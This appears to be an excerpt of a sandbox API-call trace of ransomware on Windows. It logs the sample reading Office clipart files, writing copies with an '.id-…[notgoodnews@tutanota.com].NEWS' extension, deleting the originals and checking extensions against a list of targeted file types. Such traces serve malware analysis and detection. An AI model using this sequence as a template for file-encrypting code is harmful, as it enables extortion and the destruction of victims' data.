CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0088.696] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0088.696] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0088.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0088.696] GetLastError () returned 0x0 [0088.696] ReadFile (in: hFile=0x39c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x4f4, lpOverlapped=0x0) returned 1 [0088.697] WriteFile (in: hFile=0x350, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x500, lpOverlapped=0x0) returned 1 [0088.698] ReadFile (in: hFile=0x39c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0088.698] WriteFile (in: hFile=0x350, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0088.698] SetEndOfFile (hFile=0x350) returned 1 [0088.699] CloseHandle (hObject=0x350) returned 1 [0088.699] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0088.699] SetEndOfFile (hFile=0x39c) returned 1 [0088.699] CloseHandle (hObject=0x39c) returned 1 [0088.699] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0088.700] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf")) returned 1 [0088.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0088.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0088.700] lstrlenW (lpString=".doc") returned 4 [0088.700] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0088.700] lstrlenW (lpString=".docx") returned 5 [0088.700] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0088.700] lstrlenW (lpString=".pdf") returned 4 [0088.700] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0088.700] lstrlenW (lpString=".xls") returned 4 [0088.700] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0088.700] lstrlenW (lpString=".xlsx") returned 5 [0088.700] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0088.700] lstrlenW (lpString=".ppt") returned 4 [0088.700] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0088.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0088.700] lstrlenW (lpString=".zip") returned 4 [0088.700] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0088.700] lstrlenW (lpString=".rar") returned 4 [0088.700] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0088.700] lstrlenW (lpString=".bz2") returned 4 [0088.700] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0088.700] lstrlenW (lpString=".7z") returned 3 [0088.700] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0088.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0088.701] lstrlenW (lpString=".dbf") returned 4 [0088.701] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0088.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0088.701] lstrlenW (lpString=".1cd") returned 4 [0088.701] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0088.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0088.701] lstrlenW (lpString=".jpg") returned 4 [0088.701] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0088.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0088.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0088.701] lstrlenW (lpString=".doc") returned 4 [0088.701] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0088.701] lstrlenW (lpString=".docx") returned 5 [0088.701] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0088.701] lstrlenW (lpString=".pdf") returned 4 [0088.701] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0088.701] lstrlenW (lpString=".xls") returned 4 [0088.701] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0088.701] lstrlenW (lpString=".xlsx") returned 5 [0088.701] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0088.701] lstrlenW (lpString=".ppt") returned 4 [0088.701] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0088.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0088.701] lstrlenW (lpString=".zip") returned 4 [0088.701] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0088.701] lstrlenW (lpString=".rar") returned 4 [0088.701] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0088.701] lstrlenW (lpString=".bz2") returned 4 [0088.701] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0088.701] lstrlenW (lpString=".7z") returned 3 [0088.701] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0088.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0088.701] lstrlenW (lpString=".dbf") returned 4 [0088.701] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0088.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0088.701] lstrlenW (lpString=".1cd") returned 4 [0088.702] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0088.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0088.702] lstrlenW (lpString=".jpg") returned 4 [0088.702] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0088.702] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0088.702] lstrlenW (lpString="HH01080_.WMF") returned 12 [0088.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0088.702] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=5000) returned 1 [0088.702] CloseHandle (hObject=0x39c) returned 1 [0088.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf")) returned 0x220 [0088.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0088.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0088.702] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0088.703] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0088.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0088.703] GetLastError () returned 0x0 [0088.703] ReadFile (in: hFile=0x39c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x1388, lpOverlapped=0x0) returned 1 [0088.704] WriteFile (in: hFile=0x350, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x1390, lpOverlapped=0x0) returned 1 [0088.705] ReadFile (in: hFile=0x39c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0088.705] WriteFile (in: hFile=0x350, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0088.705] SetEndOfFile (hFile=0x350) returned 1 [0088.705] CloseHandle (hObject=0x350) returned 1 [0088.706] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0088.706] SetEndOfFile (hFile=0x39c) returned 1 [0088.706] CloseHandle (hObject=0x39c) returned 1 [0088.707] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0088.707] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf")) returned 1 [0088.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0088.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0088.707] lstrlenW (lpString=".doc") returned 4 [0088.707] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0088.707] lstrlenW (lpString=".docx") returned 5 [0088.707] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0088.707] lstrlenW (lpString=".pdf") returned 4 [0088.707] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0088.707] lstrlenW (lpString=".xls") returned 4 [0088.707] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0088.707] lstrlenW (lpString=".xlsx") returned 5 [0088.707] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0088.707] lstrlenW (lpString=".ppt") returned 4 [0088.707] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0088.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0088.707] lstrlenW (lpString=".zip") returned 4 [0088.707] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0088.707] lstrlenW (lpString=".rar") returned 4 [0088.707] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0088.707] lstrlenW (lpString=".bz2") returned 4 [0088.707] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0088.707] lstrlenW (lpString=".7z") returned 3 [0088.707] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0088.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0088.708] lstrlenW (lpString=".dbf") returned 4 [0088.708] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0088.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0088.708] lstrlenW (lpString=".1cd") returned 4 [0088.708] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0088.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0088.708] lstrlenW (lpString=".jpg") returned 4 [0088.708] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0088.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0088.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0088.709] lstrlenW (lpString=".doc") returned 4 [0088.709] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0088.709] lstrlenW (lpString=".docx") returned 5 [0088.709] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0088.709] lstrlenW (lpString=".pdf") returned 4 [0088.709] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0088.709] lstrlenW (lpString=".xls") returned 4 [0088.709] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0088.709] lstrlenW (lpString=".xlsx") returned 5 [0088.709] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0088.709] lstrlenW (lpString=".ppt") returned 4 [0088.709] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0088.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0088.709] lstrlenW (lpString=".zip") returned 4 [0088.709] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0088.709] lstrlenW (lpString=".rar") returned 4 [0088.709] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0088.709] lstrlenW (lpString=".bz2") returned 4 [0088.709] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0088.709] lstrlenW (lpString=".7z") returned 3 [0088.709] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0088.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0088.709] lstrlenW (lpString=".dbf") returned 4 [0088.709] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0088.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0088.710] lstrlenW (lpString=".1cd") returned 4 [0088.710] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0088.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0088.710] lstrlenW (lpString=".jpg") returned 4 [0088.710] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0088.710] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0088.710] lstrlenW (lpString="HH01242_.WMF") returned 12 [0088.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0089.444] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=7340) returned 1 [0089.444] CloseHandle (hObject=0x38c) returned 1 [0089.444] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf")) returned 0x220 [0089.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0089.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0089.445] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.445] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0089.445] GetLastError () returned 0x0 [0089.445] ReadFile (in: hFile=0x38c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x1cac, lpOverlapped=0x0) returned 1 [0089.447] WriteFile (in: hFile=0x374, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x1cb0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x1cb0, lpOverlapped=0x0) returned 1 [0089.448] ReadFile (in: hFile=0x38c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0089.448] WriteFile (in: hFile=0x374, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0089.448] SetEndOfFile (hFile=0x374) returned 1 [0089.448] CloseHandle (hObject=0x374) returned 1 [0089.448] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.448] SetEndOfFile (hFile=0x38c) returned 1 [0089.449] CloseHandle (hObject=0x38c) returned 1 [0089.449] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0089.449] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf")) returned 1 [0089.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0089.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0089.450] lstrlenW (lpString=".doc") returned 4 [0089.450] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.450] lstrlenW (lpString=".docx") returned 5 [0089.450] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.450] lstrlenW (lpString=".pdf") returned 4 [0089.450] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.450] lstrlenW (lpString=".xls") returned 4 [0089.450] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.450] lstrlenW (lpString=".xlsx") returned 5 [0089.450] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.450] lstrlenW (lpString=".ppt") returned 4 [0089.450] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0089.450] lstrlenW (lpString=".zip") returned 4 [0089.450] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.450] lstrlenW (lpString=".rar") returned 4 [0089.450] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.450] lstrlenW (lpString=".bz2") returned 4 [0089.450] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.450] lstrlenW (lpString=".7z") returned 3 [0089.450] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0089.450] lstrlenW (lpString=".dbf") returned 4 [0089.450] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0089.450] lstrlenW (lpString=".1cd") returned 4 [0089.450] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0089.450] lstrlenW (lpString=".jpg") returned 4 [0089.450] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0089.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0089.451] lstrlenW (lpString=".doc") returned 4 [0089.451] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.451] lstrlenW (lpString=".docx") returned 5 [0089.451] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.451] lstrlenW (lpString=".pdf") returned 4 [0089.451] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.451] lstrlenW (lpString=".xls") returned 4 [0089.451] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.451] lstrlenW (lpString=".xlsx") returned 5 [0089.451] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.451] lstrlenW (lpString=".ppt") returned 4 [0089.451] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0089.451] lstrlenW (lpString=".zip") returned 4 [0089.451] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.451] lstrlenW (lpString=".rar") returned 4 [0089.451] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.451] lstrlenW (lpString=".bz2") returned 4 [0089.451] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.451] lstrlenW (lpString=".7z") returned 3 [0089.451] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0089.451] lstrlenW (lpString=".dbf") returned 4 [0089.451] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0089.451] lstrlenW (lpString=".1cd") returned 4 [0089.451] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0089.451] lstrlenW (lpString=".jpg") returned 4 [0089.451] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.451] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0089.451] lstrlenW (lpString="HH01329_.WMF") returned 12 [0089.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0089.452] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=6016) returned 1 [0089.452] CloseHandle (hObject=0x38c) returned 1 [0089.452] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf")) returned 0x220 [0089.452] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0089.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 